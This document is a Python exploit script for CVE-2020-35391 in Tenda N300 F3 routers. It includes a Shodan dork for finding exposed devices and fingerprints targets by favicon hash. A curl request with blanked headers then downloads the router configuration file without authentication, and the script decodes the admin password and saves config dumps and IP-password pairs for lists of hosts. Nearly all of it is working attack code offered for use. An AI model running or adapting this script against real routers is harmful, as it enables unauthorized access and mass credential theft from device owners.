#!/usr/bin/python3 # Exploit Title: Tenda N300 F3 12.01.01.48 - Malformed HTTP Request Header Processing # Shodan Dork: http.favicon.hash:-2145085239 http.title:"Tenda | LOGIN" # Date: 09/03/2023 # Exploit Author: @h454nsec # Github: https://github.com/H454NSec/CVE-2020-35391 # Vendor Homepage: https://www.tendacn.com/default.html # Product Link: https://www.tendacn.com/product/f3.html # Version: All # Tested on: F3v3.0 Firmware (confirmed) # CVE : CVE-2020-35391 import re import os import sys import argparse import base64 import requests import subprocess try: import mmh3 import codecs except ImportError: print("[!] Install mmh3: pip3 install mmh3") sys.exit() Color_Off="\033[0m" Black="\033[0;30m" # Black Red="\033[0;31m" # Red Green="\033[0;32m" # Green Yellow="\033[0;33m" # Yellow Blue="\033[0;34m" # Blue Purple="\033[0;35m" # Purple Cyan="\033[0;36m" # Cyan White="\033[0;37m" # White def ip_checker(ip): if "/" in ip: splited = ip.split("/") if "http://" in ip or "https://" in ip: return f"{splited[0]}://{splited[2]}" else: return f"http://{splited[0]}" else: return f"http://{ip}" def is_tenda(ip): try: response = requests.get(f'{ip}/favicon.ico') favicon = codecs.encode(response.content, "base64") favicon_hash = mmh3.hash(favicon) if favicon_hash == -2145085239: return True return False except Exception as error: return False def password_decoder(data): try: for nosense_data in data.split("\n"): if ("http_passwd=" in nosense_data): encoded_password = nosense_data.split("=")[-1] break password_bytes = base64.b64decode(encoded_password) password = password_bytes.decode("utf-8") if (len(password) != 0): return password return False except Exception as error: return False def main(db): for ip in db: ip_address = ip_checker(ip) tenda = is_tenda(ip_address) header = print(f"{Green}[+]{Yellow} {ip_address}{Color_Off}", end="") if tenda else print(f"{Red}[-]{Yellow} {ip_address}{Color_Off}", end="") try: output = subprocess.check_output(f"curl {ip_address}/cgi-bin/DownloadCfg/RouterCfm.cfg -A '' -H 'Accept:' -H 'Host:' -s", shell=True) data = output.decode('utf-8') password = password_decoder(data) if password: if not os.path.isdir("config_dump"): os.mkdir("config_dump") with open(f"config_dump/{ip_address.split('/')[-1]}.cfg", "w") as o: o.write(data) with open(f"credential.txt", "a") as o: o.write(f"{ip_address}|{password}\n") print(f"{Purple}:{Cyan}{password}{Color_Off}") else: print() except Exception as error: print() if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('-i', '--ip', default='192.168.0.1', help='IP address of the target router (Default: http://192.168.0.1)') parser.add_argument('-l', '--list_of_ip', help='List of IP address') args = parser.parse_args() db = [] ip_list = args.list_of_ip if ip_list: with open(ip_list, "r") as fr: for data in fr.readlines(): db.append(data.strip()) else: db.append(args.ip) main(db)